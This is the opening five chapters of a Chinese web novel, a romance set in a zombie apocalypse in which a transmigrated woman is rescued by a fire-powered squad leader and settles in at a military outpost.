《被末日男主们宠的病美人》
1. 第 1 章
林阮儿已经和她的友人们走散了,失联整整48小时。
背包里那罐肉罐头十分钟前就空了,她甚至因为饿直接舔了罐头的铁皮内壁,一股咸腥味让她喉咙有些发紧。
热带雨林的潮湿闷热让她有点透不过气,林子里的雾气越来越重,手里的指南针已经失灵,再这么下去,她会死在这里。
林阮儿靠着树干坐下,扯了扯粘在身上的粉色吊带背心,背心的外面是一层薄纱质地的开衫,右边袖子不知被什么勾破了,她的胳膊上面全是蚊虫叮咬的红点和被树枝刮擦的伤痕。
砰砰砰!砰砰砰!
不知道什么方向传来的枪.声,从高大密布的森林里面对她进行射.击,林阮儿吓坏了,她尖叫着直接身体滚到地上,泥水溅了一脸。
脚步声逼近,大约五六个人,穿着统一的深绿色作战服,靴子踩在落叶上发出嘎吱嘎吱的声音,领头的男人个子很高,大约一米九左右,他手里端着枪,等他走近了,林阮儿才看清他的脸。
皮肤是长期在户外活动的小麦色,他的一双眉很浓,黑发,作战服紧紧裹在身上,能看出肩膀和手臂的肌肉轮廓,他脖子上挂着一个金属牌,上面似乎是刻着什么字,但林阮儿距离远,还看不太清。
男人身后一个年轻人探头,“是女人?老大,我发誓刚才看到她在动,姿势特别怪,我以为……”
旁边的男人打趣道:“我说卢予,你年纪轻轻就眼花了?丧尸会穿粉色吊带?”
为首男人祁牧炎问:“你别怕,你叫什么,年龄多大,从哪儿来的?准备到哪里去?”
她只好回复他。
“我叫林阮儿,25岁了,我和来这里探险的同伴走丢了,所以我一直在找他们。”
林阮儿就这么流利地说了出来,她的脑中就像是被灌注了什么似的,忽然浮现出了一本末世文的大概内容。
加班猝死后,林阮儿穿成了末世求生小说里同名同姓的病美人女配。
书中是以男性视角缓缓展开的故事。
大男主升级流的末日爽文,拥有最强异能,打丧尸卫护家园,但像她这种女配,原本就是用来填充饱满情节的人物,笔下作者则只寥寥几笔。
大概讲了有着天生高纯度熊猫血的原主,是末世文中唯一未能觉醒异能的人,跟她认识了十年的发小李栀佟等人一起作为同伴同行,不料最后变异的丧尸同伴把她当作是自己的大型血包,直至抽干了血而亡。
原主的一生就以这样的方式凄惨地画上了句点。
他的目光在她脸上停留了几秒,又往下扫了扫,最后回到她琥珀色的瞳孔。
林阮儿低头看了眼自己的胸,脸瞬间红了,刚下过一场大雨,湿透的吊带紧贴着皮肤,她慌忙用手臂挡住,又意识到腿也露着,白花花纤细的两条,她一时间不知道该捂哪儿。
男人朝她走近,伸手。
林阮儿犹豫了一下,抓住那只手,男人的手掌很温热,力气大得一下就把她拽了起来,她站不稳,往前踉跄了两步,差点撞进他怀里。
身后的士兵问:“祁队,现在怎么办?”
男人回头对身后的人说:“检查周围,确认没有感染痕迹。”
几个人散开了,林阮儿这才注意到他们右臂上都有个统一的臂章:黑色底,红色火焰图案,下面两个字:燎原。
“你们是谁?”林阮儿问。
“燎原小队,我是队长祁牧炎。”祁牧炎说着,就从腰间取下一个小型检测仪,对着林阮儿扫了扫,仪器发出了绿色的光:“算你运气好,没受伤感染,这林子里现在什么都有,丧尸、变异兽,还有更麻烦的东西。”
“丧尸?”林阮儿像是第一次听到,声音不住地有点发抖。
祁牧炎看了她一眼,缓缓道:“十天前尸潮爆发围城,也是,你们长途在这边探险,应该还不清楚。”
就在这时,一股奇异的香味飘了过来。
不是花香,也不是香水,是一种带着点点腐朽气的味道,林阮儿吸了吸鼻子,忽然觉得有点头晕。
“该死。”祁牧炎脸色一变,迅速从口袋里掏出两个简易防毒面罩,一个扔给林阮儿,一个自己戴上,喊,“快戴上!快!”
林阮儿手忙脚乱地戴面罩,但那头后面的带子怎么也系不紧,香味越来越浓,她感觉自己的身体隐约开始发热了……
“老大,是幻菇孢子!雨停了差不多三小时,正好是它们释放气味的时候!”其中一个士兵喊道。
“全员撤离!回营地!”祁牧炎下令。
只有林阮儿站在原地,鞋子似乎是陷入刚才的泥泞里,祁牧炎看向林阮儿:“你能走吗?”
林阮儿点头,但腿还是发软。
祁牧炎啧了一声,直接把她扛到肩上,男人的脊背很结实,林阮儿能够透过男人汗湿的背部,感受到他的肌肉。
“要快!距离它三米之外,否则,就会吸到孢子发情致幻。”
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>队伍在雨林中快速移动,祁牧炎扛着她却一点都不喘。
大约走了半小时,他们到达一个营地,几顶帐篷围成半圆,中间是熄灭的篝火堆,周围用带刺的植物做了简易围栏,营地在一个相对干燥的高地上,视野很开阔。
祁牧炎把她放下来。
祁牧炎摘下面罩,他的脸有点红,额头上都是汗水:“老六,给她找件干净衣服,其他人检查装备,清点物资。我们今晚在这儿过夜,明天一早出发去北边的前哨站。”
一个瘦小的士兵跑过来,递给林阮儿一套叠好的作战服:“有点大,是男款,只能勉强凑合着穿。”
林阮儿低头看看自己,确实狼狈不堪,她接过衣服,小声问他:“有地方可以方便我清洗一下么?”
老六指了指营地西侧:“那边有条小溪,水还算干净。不过快一点,天黑后不安全。”
林阮儿抱着衣服往溪边走去,她穿过两顶帐篷时,听到了里头传来的对话:
“老大今天有点不对劲啊,平时不会这么急躁。”
“吸了孢子呗,那玩意儿对异能者影响更大。”
“小声点!不过说真的,那女的什么来头?穿成那样在雨林里晃,没有被丧尸给咬死可真是奇迹啊。”
“管她什么来头,到了前哨站就交给后勤部处理……”
林阮儿加快了步子,小溪就在营地边缘,水流不急,看起来很清澈。她找了个被大石头挡住的角落,确认四周没人,才开始脱衣服。
泥浆居然已经干在了皮肤上,结成了硬块,冰凉的溪水冲在身上的瞬间,确实会清爽不少。
洗了大约十分钟,她把头发拧干,换上那套作战服,衣服果然很大,裤腿卷了三圈才不拖地,上衣下摆几乎到大腿一半。
回营地的路上,她看到一顶单独的帐篷,比其他的都大一点,门口挂着燎原小队的火焰标志。
帐篷里亮着灯。
林阮儿忽然想起自己还没好好谢谢祁队长。
她走到帐前。
“请问祁队长在里边么?”她问。
里面没回应,但有水声,林阮儿以为他没听到,就伸手撩开了门帘,
白色的蒸汽瞬间迎面而来。
祁牧炎背对着门口,正在用一个小水桶往身上浇水,水珠顺着他宽阔的后背往下淌,划过脊柱的凹陷处,流淌过他紧实的腰部肌肉,昏黄的灯光在他湿漉漉的皮肤上反着光,每一块肌肉的轮廓都清清楚楚。
2. 第 2 章
致幻菇的孢子在祁牧炎的血液里作祟。
已经过去两个小时了,通常,这种兴奋感会持续整整一天,他用冷水冲洗身子,甚至用匕首在掌心划了道浅口子,用疼痛来分散注意力,终于起了点用。
他听到女人声音扭过了头。
林阮儿站在门口,大概是刚洗过澡,黑色长发湿漉漉地披在肩上,发梢还在滴水,水珠直接就顺着她的脖颈往下滑,滑过了锁骨,最后消失在作战服过分宽大的领口里,那衣服确实对她来说实在太大了,领口歪向一边,露出小半个肩膀,她的皮肤很白,尤其在帐篷的黄光下白得晃眼,上面还挂着细密的水珠。
祁牧炎感觉那股好不容易压下去的热流猛冲上来,直接冲向小腹,他放下水桶,握紧手里的干毛巾,指关节发白。
“有事?”他声音很闷。
林阮儿意识到现在这场合不太对,帐篷里水汽还没散尽,空气湿漉漉热烘烘的,祁牧炎裸.着上身,只穿了条作战裤,皮带还没扣,她往后退了一小步,鞋跟直接碰到门帘。
声音柔柔的:“对不起,我不是有意拉开帘子的,祁队长,我只是想要来谢谢你。”
“说完就出去。”
林阮儿抬眼看他,她的眼睛很大,瞳孔在灯光下显得更黑了,湿漉漉的,像受惊的小动物,有那么一瞬间,祁牧炎想收回那句话,让她留下来。
看来这种环境下,是会让人头脑发昏啊,他想。
清凉过后,祁牧炎走出账外,看到林阮儿还在外边,似乎在等他,林阮儿162cm的个头确实驾驭不了这宽大的作战服,她已经卷了裤腿三圈,垮垮地堆在了脚边。
“祁队长,这里有针线吗?衣服太大了,我想缝一下。”她说。
“没有,不过等什么时候到了前哨站,会给你找身合适的。”
祁牧炎朝前走,林阮儿就跟着他,他停下,靠着围栏边上的一截枯树干坐下,问:“你要跟着我多久?”
林阮儿在他旁边站了一会儿,然后也坐下了,地上是潮湿的苔藓,坐着有点凉,她抱紧膝盖,作战服粗糙的布料有点磨着她的脸颊。
“你们要去的前哨站,是什么地方?”
“燎原基地在北边的补给点,离这儿大概二十公里,本来我们小队任务是清扫这片区域的变异体,但三天前尸潮突然围了基地主城区,大部分兵力都调回去了,我们接到命令撤到前哨站待命。”
“那你们会带上我么?我一个人活不下去,我知道我什么都不会,连枪.都没摸过,但我会……会尽量不拖后腿。”
林阮儿很清楚,出了热带雨林后的主城区才有人员安置区,雨林环境本来复杂危险,这里丧失、变异植物和动物存在,恶劣的气候,就算是精兵强将都会在这里折损过半,更别提还要带着自己一个手无缚鸡之力没有丝毫异能的人,带着她就是累赘而已,救和不救就在祁牧炎的一念之间而已。
祁牧炎:“你是目前搜寻到的唯一幸存者,放心,我不会丢下你。”
两人沉默一阵,祁牧炎先开了口。
“你家里人呢?”
“都不在了。”她说。
“我很抱歉。”
这些都是原主书里的设定,原主父母在末世初期就被丧尸咬死了。
祁牧炎为她表示遗憾地叹了一声,道:“明天早上六点出发。”
林阮儿也跟着站起来,腿有点麻,她扶了下树干才堪堪站稳。
祁牧炎已经转身往帐篷方向走了,背对着她摆摆手:“你在第三顶帐篷,老六给你腾了个睡袋,晚上别出来,这林子后半夜有东西活动。”
“什么东西?”
“你不会想知道的。”
祁牧炎怕那玩意儿把她吓破了胆,没敢说得很详细。
林阮儿朝着第三顶帐篷走,帐篷是军绿色的,很小,她得弯腰才能进去,里面果然铺了个睡袋,灰色的,看起来还算干净,有一盏小露营灯挂在帐篷顶上。
林阮儿钻进睡袋,她身子躺平,盯着帐篷顶看,渐渐地涌来了困意,她睡着了。
后半夜,外面传来各种声音,大多能听出来是远处的鸟叫和风吹过树叶的沙沙声响,还有守夜士兵偶尔走动的脚步声。
林阮儿蜷缩起来,用被子直接蒙住了头,但外头的虫鸣声越来越大,像在耳朵边上叫,她迷迷糊糊快要睡着的时候,忽然听见一声树枝断裂的声音,就在帐篷外面。
她彻底清醒了,手摸到帐篷拉链,轻轻拉开一条缝。
外头月光很暗,营地中央的篝火堆已经熄了,守夜的士兵坐在围栏边上,背对着她这边,似乎没发现异常。
然后她看见了。
在营地围栏外面,大概十米
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远的树影里,站着个人形的轮廓,很高,很瘦,站姿很奇怪,肩膀一边高一边低,惨白的皮肤,和皮肤上深色的像瘀伤一样的斑块。
它在往营地里看。
林阮儿捂住想要惊呼出声的嘴巴,轻轻拉上拉链,背靠帐篷布坐下,心跳快要炸开,这会儿,帐篷外又传来了一阵声音,是脚步声,朝着她这边来了。
“林阮儿。”是祁牧炎的声音。
林阮儿小心地拉开拉链,祁牧炎就站在外面,已经穿戴整齐,左手手里握着.枪,右手打着手电筒。
祁牧炎早就发现了它,担心她怕,才来的。
“你还没睡?还是我吵醒你了?”他问。
林阮儿抬起头,小鹿一般澄澈的眼望着他,瞳孔里盈着一汪水,格外清秀好看。
“祁队长,可以陪着我么?我怕。”
“怎么了?”
“外面的树下,有东西。”林阮儿声音发颤。
祁牧炎往围栏方向看了一眼,点点头:“原本想着不会吵醒你,你就能安稳睡一觉,那是夜行丧尸,lv7级别,不过不用怕,外边的围栏上撒了抑制粉,它们讨厌那味道。”
“那它们会一直待在那儿吗?”
“这种夜行丧尸通常不会主动袭击人,是雨林里因为特殊气候有的一种古老物种,夜行视力很差,十米之内,人畜不分,不过嗅觉很好,但他们是过不来的,天亮了就会离开。”
林阮儿并没察觉到,自己已经脱了外衣,露出里边的短袖内衬,由于领子很大,很宽松,上半身的曲线弧度更加明显了。
祁牧炎无意瞥到,清了清嗓子,偏过了头。
他心跳莫名地有点慌,继续道:“特殊环境气候下,这玩意儿总会出现,曾经在西南边境,也是钻林子,不过钻的是山地雨林,和这儿不太一样。”
之后,林阮儿指了指他脖子领口,金属牌从衣领里滑出来了一点。
“祁队长,这是什么?”
祁牧炎低头看了一眼,把牌子从衣服里扯出,是个长方形的金属片,上面刻的有字。
“身份牌,这是我的编号。”他把牌子翻过来,背面刻着个小小的火焰标志,和燎原小队的臂章一样。
祁牧炎直接把牌子递给她,让她看。
林阮儿就着外面的火光看牌子的正面:770623
3. 第 3 章
林阮儿:“所以,770623是祁队长的编号?”
“嗯,六月二十三号,在燎原第八百七十七个入队者。”
祁牧炎伸手把牌子拿回去,重新戴好,塞回衣领里。
林阮儿:“队里的人都有么?”
“都有,死了的人,牌子会收回来,存进基地的档案室,算是留个念想。”
林阮儿打了个哈欠,祁牧炎:“睡吧,我在外边守着,会护着你的安全。”
林阮儿摇摇头:“祁队长,知道外边没有什么危险,我就能安心睡着了,你不用在这里看着,还是早点休息。”
祁牧炎点头,林阮儿踏踏实实地倒头就睡,第二天一早,她醒了过来,已经早上八点,营地外架着一口锅,煮着不知道什么东西,几个士兵在收拾帐篷,另外几个在检查武器,林阮儿走出了帐篷时,感觉有好几道视线落在自己身上。
她假装没看见,走到了篝火旁,老六递给她一个铁杯,里面是热乎乎的糊状物,闻着味道应该是玉米粥。
“阮儿姑娘,昨晚睡得怎么样?”老六问,语气平常,但眼神显得有些黯淡。
昨晚,他看到祁队在林阮儿帐篷外似乎聊了很久,但他并不知道他们在聊些什么。
林阮儿接过杯子,小口小口地喝,虽然味道很淡,说不上好吃,但能填饱肚子。
“还好。”
林阮儿握紧了手里的铁杯,她低头继续喝粥。
祁牧炎是半小时后出现的,他换了身干净的作战服,脸上看不出什么表情,他看到林阮儿时脚步顿了一下,然后径直走过来。
“吃完就去收拾,二十分钟后出发。”他对整个营地的人说,声音不大,但每个人都听到了。
队员们立刻加快了吃饭的动作,祁牧炎在林阮儿旁边坐下,老六虽然有些不甘,但还是识趣地走开了。
祁牧炎:“你同伴的事,我会让人留意,但我们今天必须出发去前哨站,那里有更完善的搜索系统,如果他们还活着,会有记录,可一旦他们被感染,按照联盟的规定,必须即刻处决。”
林阮儿点点头。
路途中,偶尔能看到废弃的车辆,有些烧得只剩骨架,有些翻倒在路边,里面空无一人。
他们还遇到过两次小规模的丧尸群,都被燎原小队的士兵们快速清理了,林阮儿被要求待在车里,透过车窗看着祁牧炎和其他人战斗。
祁牧炎的异能是火,林阮儿第一次亲眼看到丧尸从侧面扑上来时,祁牧炎甚至没回头,只是掌心向上,一团白色的火焰悬浮其上,看准目标,微微地五指张开,手掌心按住丧尸头顶,一股热气自顶灌入后,那些丧尸就瞬间烧起来了,甚至在二十秒钟内就把它们烧成了焦炭,整个过程安静得可怕,只有火焰燃烧的嘶嘶声。
“老大的异能又精进了。”开车的老六嘀咕一句。
林阮儿没说话,只是看着祁牧炎的背影,他站在那里,周围是烧焦的尸体和还在冒烟的土壤,他眼神冷冷的,似乎刚才只是踩死了几只虫子。
原来,这就是属于末世的异能。
林阮儿走下车,表情带着几分诧异,她微微张大了嘴巴,依旧那样漂亮,做出怎样的表情,五官都不会崩。
祁牧炎看到了,走向她:“怎么?没见过?”
林阮儿摇头。
祁牧炎:“末世之后,一部分人就产生了基因变异,有了特殊能力,在我们燎原基地里,大概三分之一的人是异能者,自然,越强的异能者头衔也就越高,异能种类很多,控制元素的、强化身体的、精神系的,我就属于控制火元素的,异能者之间会互相感应,双方一旦靠近了就会有感觉,像静电,或者脑子里有嗡鸣声。”
这时候,他伸手在火堆里抽出一根烧了一半的树枝,手扶按上去,火星子簌簌往下掉,然后林阮儿看见,那根树枝上烧焦的部分,开始慢慢变红了……
树枝在他手里融化了一样,变成一滩暗红色的粘稠液体,滴到地上,很快,“滋啦”一声把泥土烫出个小坑。
“这只是高温操控的一种方式,我能把接触到的物体内部温度瞬间升高,最高到一千二百度左右,金属、石头、木头……或者是活物。”
林阮儿看着他,眼睛亮晶晶的,说:“祁队长真的好厉害啊!”
过了一阵,林阮儿回到车里睡着了,祁牧炎看了她一会儿,然后起身,拿了条薄毯,盖在她身上。
男人的动作很轻,林阮儿似乎感觉到了,却并没醒。
准备重新出发前,老六走向祁牧炎。
“老大,你打算怎么安排她?带回基地么?”
“先到前哨站再说。”
老六继续说:“反正很快我们就要回基地修整了,多带一个人也没啥,就说她是咱们救的难民,办个临时身份卡,让她在基地里找个活儿干,老大,你也这么想的吧?”
“嗯。”祁牧炎说。
隔天,队伍距离前哨站越来越近,队伍里的士兵们已经受伤不少,这边区域的丧尸很多,几乎每天都有。
林阮儿提出自己可以在这地方寻找一些止血的植物药草,会有点用处。
祁牧炎不放心,让老六跟她一起,并且切记如果一旦感觉到危险,就立刻回来。
路上,两人聊了一阵关于药草的事,老六问林阮儿。
“阮儿姑娘,实话说,我受过不少伤,药草也是了解一些,但没你认识的种类多。”
其实穿越前,林阮儿的父亲就是做诊中医大夫,她大学实习的时候,在药店抓过不少药,大致的药性都清楚一些,甚至有的罕见的植物用药也是有的,只是她毕业后没有从事相关行业,而是进了互联网公司,加班熬夜是常态。
林阮儿和他聊得话题,多数还是围绕着祁牧炎。
“祁队长的脾气好不好?”
“那要看对谁,老大对队员其实还行,只要你把分内事做好,别拖后腿,他一般不会骂人,但要是你犯了原则性错误,比如擅自离队、谎报情报什么的,那他会让你后悔生出来。”
“原则性错误包括什么?”
“多了去了,见死不救算一个,背叛队友算一个,私自藏匿物资算一个……”
“哎,你看那个!”
根据林阮儿手指的方向,他手电的光停在几株长着锯齿状叶子的植物上。
“这是止血的草?”老六问她。
“对,这叫锯齿蓟,碾碎了敷在伤口上,能止血,不过有点刺激,敷上去会有些疼。”
林阮儿接过叶子,凑近闻了闻,一股青草味里混着点苦涩,她把叶子小心地放进衣服裤子的口袋里。
林阮儿说:“我还知道一种叫血藤的,叶子是心形的,开紫色小花,那个止血效果更好,而且不疼。”
“血藤……我好像听过,但这边雨林里不一定有。”
他们又在林子里转了大概二十分钟,天已经快黑了。
林阮儿还找到了第三种止血植物,是一种贴地长的蕨类,叶子背面有橙黄色的孢子囊,老六说这个他们叫血痂草,受伤的时候嚼碎了敷上,能促进伤口愈合。
老六看了看天色:“要不回去吧?天黑了不安全。”
林阮儿想要再找找,她蹲下来,用手拨开一丛很密的灌木,泥土湿漉漉的,根部长着几株矮小的植物,叶子是椭圆形状的,边缘光滑,呈现暗红色。
应该就是它没错,这时候,旁边不知道从哪里出来的变异花,嘴巴里有硬的齿,朝着林阮儿的小腿就咬,老六及时斩断
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了它,说:“快跑!这些变异植物有的比丧尸更难搞,只要咬住你,不会放开,你的骨骼和皮肤都会被它咬碎,逃!”
尽管如此,林阮儿的小腿还是被咬了一个伤口,老六把它附在上边的牙齿拔下,说:“好险。”
林阮儿已经拿到了血痂草,老六:“你运气算好,居然拿到了,但运气倒霉的是遇到了一个有毒的变异种,看,你的伤口已经发紫了,得快点回去。”
林阮儿的伤口极其恶化,很快感染了,她可不能再流血了哇啊啊啊!!
他提议背着她,这样走得快些,毕竟那些藤蔓的枝丫可是能伸十多米甚至更远的。
没时间考虑了。
他背上林阮儿,女人的身体轻飘飘的,很瘦。
男人的肩背很结实,很壮。
“老六,我们要到了么?”
“叫我楚猛就好。”
“好,楚猛。”
回到临时帐篷里,林阮儿的脸色已经惨白,祁牧炎把她抱她到自己帐内,让她靠在床上,用剪刀剪开她的裤子,伤口已经乌青,伤口边缘肿得很大,皮肤下面还能看见几条细细的,正在变黑的线,像树杈一样往四面爬。
祁牧炎扯出一个半瘪的急救包,找到了一个扁扁的金属酒壶和一把尖利的匕首。
“没有像样的消毒东西了,酒精早就用光了,就剩这点烈酒,凑合用吧,会很疼,忍着点。”
祁牧炎打开酒壶盖子,先倒了一点酒在自己手心,用力搓了搓手指和手背,然后,他看向林阮儿的小腿,眼神专注得有些发沉,那截小腿露在外面,因为肿胀,皮肤绷得有点亮,但其他地方依旧能看出原本的匀称线条,脚踝很细,她靴子早就脱下,沾着泥灰的脚趾不自觉地蜷缩在下方的毯子上。
他伸出手,指尖快要碰到她伤口上方肿胀的皮肤时,停顿了一下,他喉结动了动,然后才稳稳地按住她的小腿,让她别乱动。
他的手很大,指节粗硬,掌心有厚厚的茧子,贴在她滚烫的皮肤上,温度差很明显。
“我要先把你伤口划开,用酒冲完,最后得把毒吸出。”
祁牧炎说着,已经用另一只手拿起了匕首,在一旁的火苗上反复烤着刀尖,直到它微微发红。
听到了林阮儿简短地回答他,同意了后。
他低下头,凑近她的腿,年轻女人白嫩滑溜溜的皮肤映入眼帘,混着一股淡淡,伤口血腥味,蹿进他的鼻腔。
他手里的匕首尖非常稳,非常小心地探进伤口边缘……
林阮儿疼得浑身一抖,喉咙里发出压抑的呜咽,腿猛地想缩回去,她的额头上、鼻尖上迅速沁出了细密的汗珠。
“再忍一下。”
三分钟后,烈酒直接浇在了已经翻开皮肉的伤口上。
林阮儿“啊”地一声叫了出来,整个身子都在不受控制地发颤,眼泪瞬间就从眼角飙了出来。
祁牧炎按着她腿的手更用力了,手背上的青筋都凸了起来,他看着污血从伤口流下来,淌过她的小腿,滴在下面垫着的旧布上。
冲了好几下,祁牧炎扔开酒壶,用一块相对干净的布,快速擦掉伤口周围的血污,那些在皮肤下蔓延的黑色细线,总算消失了。
祁牧炎抬头看了林阮儿一眼,她的头发被汗黏在脸颊上,眼睛湿漉漉的,正看着他。
她没说话,只是重新闭上了眼睛,把头转向另一边,下巴绷得紧紧的。
祁牧炎俯下身,嘴唇缓缓靠近她的小腿,薄薄的嘴唇就这么贴了上去,滚烫而湿润,他用力吸吮,每吸一口,就会把有毒的血液偏头吐到旁边准备好的桶里,这样的动作,重复了好多次。
甚至每次他的嘴唇抽离伤口,都能感受到林阮儿的身体剧烈地颤抖了一下……
4. 第 4 章
处理伤口过程中,祁牧炎撑着床沿,和林阮儿距离咫尺而已,她咬紧牙关,嘴巴崩成了一条直线,鼻尖皱皱的,很可爱,额头的发都被汗水打湿了,一缕一缕贴在皮肤上。
男人抬眼看到她,视线停留在她的薄唇,不由自主地想要再靠近些,做点什么,哪怕只是轻轻碰一下,似乎这样就能把她的疼稍微分走一点。
这个念头让祁牧炎自己都愣了,随机在心里暗暗骂自己一句,沉声问她:“很疼么?”
林阮儿:“一开始是,不过现在好点了。”
她话没落定,整个人又是痛得小腿抽动了会儿,条件反射地,祁牧炎扣住她的腕子,女人的腕子细得很,在他温热的掌心里,骨头有点硌,他并没及时放手,拇指无意识地在她腕骨的内侧摩挲了下,那块儿的皮肤薄,能感受到她底下的脉搏,她的脉跳得又急又乱。
楚猛的声音让他回过神后,两人的目光相撞,祁牧炎起身,不小心踢到了地面的空罐头盒,发出哐啷一声响,他的语气争取维持着淡定:“现在躺着,我去给你倒点热水。”
林阮儿声音很细很轻,点头:“好,谢谢祁队长。”
.
路上又走了半天,第三天傍晚五点,一队人终于到了前哨站。
前哨站在一处被强行清理出的河畔高地上,前哨站的外围是通电的复合金属网和瞭望塔,塔里有人端着枪巡逻,大门是厚重的铁板,里边的建筑多为预制板结构或者是加固的军用帐篷,外表覆盖着迷彩的伪装网,沾满了泥浆。
祁牧炎的车队靠近时,门缓缓打开,发出刺耳的金属摩擦声音。
前哨站要比林阮儿想象的大,中间是一个广场,停着各种改装过的车辆,广场上人来人往,大部分穿着统一的深绿色的制服,只是空气里面混着一股说不清道不明的奇异味道。
“到了。”祁牧炎跳下车,朝林阮儿伸出手。
林阮儿没有犹豫,直接抓住他的手下了车,他的手心还是一如既往地温暖。
祁牧炎感受到她的紧张,手心濡出了一些汗,对她笑了笑说:“这里分四个区,A区是部分军队住地,B区是医疗区域,C区是武器仓库,D区是后勤部,我们会先在A区报到,然后带你去B区做身体常规性检查。”
他们一队人直接穿过了广场,朝一栋三层楼高的建筑走去,路上不断有人向祁牧炎敬礼,称呼他祁队,也有一些男人盯着林阮儿看,目光直白得让她有些不适。
他们正要往B区走,身后传来一个声音:“哟,这不是祁队长吗?任务完成了?”
林阮儿回过头,看到一个男人朝这边走来。
那人个子很高,和祁牧炎差不多,但体型更壮,肩膀宽得几乎能把作战服撑破,但腰却很细,他梳着狼奔头,不像是用发胶向后梳得一丝不苟,更像是随手抓得束发感,额角搭着一些细碎的发,发型突出了整个额头和眉眼的凌厉,男人的脸上有道疤,从左边眉骨一直延伸到了下巴,他走路的样子很随意,甚至有点吊儿郎当,看向林阮儿的眼神很锐利,像在打量猎物一般。
他的目光先是扫过了祁牧炎,最后落点在林阮儿身上,然后停住,上上下下看了好几遍,嘴角慢慢勾起一个笑。
“这位是?”
“半路遇到的幸存者,尹宿,你今天不是去外围巡逻吗?”
祁牧炎问道。
叫尹宿的男人走近几步,视线还是落在林阮儿身上:“我换班了,新来的?长得不错啊,怎么分配?”
“分配的事,这就不用尹队费心了。”祁牧炎说。
尹宿挑眉:“祁队,随便问问而已,护着你的小美人阿。”
祁牧炎看他目光不善,并没理会他,转头对林阮儿道:“走吧,报到地点就在前边了。”
两人走远,听尹宿在后边喊:“哎!我不管闲事,但美女,你叫什么名字总可以告诉我吧?”
走出去十几米,林阮儿才小声问:“那个人是谁?”
祁牧炎的声音如同沁了冰,道:“他是寒蝉
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小队的队长,我们曾经一起作过战,不算朋友,就是认识的关系,叫尹宿。”
说完后,祁牧炎后补了句,“这人不好惹,离他远点是在保护你自己。”
林阮儿看着他的眼睛,点了点头。
二十分钟后,林阮儿体检结束,身体素质远远低于普通水准,可以说是完全不合格,所以,就只能被分配到了后勤部做登记员,负责每天登记食品采购数目以及分发粮食的次数和人头数等。
就是林阮儿工作后,围拢在登记房的人有不少。
“每天压缩饼干定时记录的,这位士兵,你昨天已经领过了,你看,名字就在这边册子上,没有问题的。”
“盒饭统计过了66人,鹌鹑蛋也是按照每人需求的数量,然后昨天你们甘队长好像还调配了一辆卡车,是吧?如果有这件事,这我得记录一下。”
半夜,军用帐篷内,传来一阵士兵们的说话声。
“哎!最近后勤部那位登记员,今天跟我说话的时候软软和和的,估计是对我有那个意思。”
“少美滋滋的了,人家不见得喜欢搭理你,再说,之前也不见你这么说啊。”
“那不废话!以前老张在的时候,那仓库你去不去?一股脚丫子味儿!我每回去,那喘气我都喘不匀,现在至少那地方干净亮堂,人也……水灵。”
“刚子,我说你一看到漂亮小姑娘就走不动道啊,要不我提醒你,你怕是今晚肯定睡到后勤仓库里喽!愣着连仓库关门时间都不记得了吧?哈哈哈……”
“还笑!老子还用你管?”
……
这会儿,外头一阵晃眼的光照了进来,手持电筒的尹宿:“休息点不睡觉,都闲得慌,待在前哨站无聊,明天给你们找点正事做?”
众人纷纷噤了声,谁敢反驳队长的话。
前两天,尹宿也到登记房去过,和林阮儿又见了面,只是盯着她看,女人的一举一动,都让他莫名地有些心痒,林阮儿,真是好听的名字阿……
5. 第 5 章
之后几天里,林阮异常忙碌,这会儿,房门又开了,进来的人个子很高,几乎要碰到低矮的门框,他侧了侧身才完全进来。
不像是祁牧炎那种极具压迫感的壮硕,而是另一种精悍挺拔,他穿着一身笔挺的深灰色制服,与常见的深绿色作战服不同,料子看上去更挺括,肩上没有小队标识,只有简单的肩章,脸上戴着副无框眼镜,正扫视着这嘈杂站满士兵的房间。
他的目光掠过排队的士兵,最后落在林阮儿身上,停留了几秒。
士兵们似乎也察觉到来人不同,队伍稍微安静了些,有人小声嘀咕:“指挥部的人怎么来这儿了?”
男人径直走到桌前,他没有排队,但奇怪的是,后面的人也没敢出声作出什么抗议来。
他看了看林阮儿手边堆叠的册子和单据,开口问道:“你是新来的登记员?”
他的语调平稳,没什么情绪起伏。
林阮儿点点头:“是的,请问有什么事?如果领取物资,需要排队。”
男人似乎几不可察地弯了下嘴角,他没回答关于排队的问题,而是说:“我需要调阅过去三个月,所有外出探索小队申领燃料和武器弹药的记录汇总,还有交还时的损耗报告。”
林阮儿微微蹙眉:“这些记录分散在不同册子里,汇总需要时间。而且,这类调阅需要相关权限和手续。”
她记得祁牧炎简单提过,后勤数据不是谁都能查的。
“权限我有。”男人从胸前口袋掏出一张身份卡,放在了她面前的桌上,卡片是暗蓝色的,上面有前哨站的徽记和一个编号,还有一个名字沈舵,在职位栏写着指挥部战略分析处。
“我需要核对一下您的调阅许可。”林阮儿坚持道。
那意思是仅仅有身份卡还不够。
沈舵他从另一个口袋拿出一张折叠的纸,展开,推到林阮儿面前,上面是正式的调阅令。
林阮儿仔细看了,确认无误,才说:“好的,但这些记录很多,恐怕您需要等,或者我整理好后给您送过去?”
“好。”沈舵拉过旁边一张空着的椅子,直接坐了下来。
林阮儿没再说什么,继续处理手头的事,等到最后一个领取配给的人离开,已经接近中午了,林阮儿揉了揉自己发胀的太阳穴,看向一旁安静坐着的沈舵,他竟然真的等了一上午。
林阮儿开口:“您要的记录,我现在开始整理,可能需要几个小时。”
沈舵合上笔记本,推了推眼镜:“不急,你先去吃午饭。”
林阮儿点点头,男人只道:“我先回指挥部,你把资料全部整理好后送到A区的指挥部三楼,战略分析处,找我沈舵,今天下午四点前,能完成吗?”
林阮儿估算了一下工作量:“我尽量。”
沈舵没多说,收起东西,起身离开。
午饭是有专门食堂的,目前,土豆菜比较多,各种烤土豆、油炸土豆片、醋溜土豆丝,土豆确实可以放置的时间长一些,肉类的话,牛肉、猪肉居多,每人每天只有一个肉菜,饭的人头数还是林阮儿登记过的,今天的菜是红烧排骨,糯糯的很好吃,汤汁的味道很足,林阮儿打了固定的量,吃好饭,她去午睡,两小时过后,重新回到她自己的岗位上。
下午的人会比上午少一些,门推开后,是尹宿走了进来。
他没穿全套作战服,只穿了件深绿色的工字背心,露出肌肉贲张的胳膊,外面随意披了件敞开的制服外套。
几缕汗湿的头发搭在额前,他手里夹着半截自制的卷烟,发出了白烟。
“还没下班啊,林登记员?”
他径直走到桌前,居高临下地看着林阮儿,也看到了她手边那堆复杂的汇总表格,闲闲地道:“哟,忙着呢?这弄的什么玩意儿,这么复杂。”
林阮儿放下笔,说:“尹队长,有事吗?这里是后勤登记处,禁止吸烟。”
她指了指墙上贴着的印着“严禁烟火”的告示。
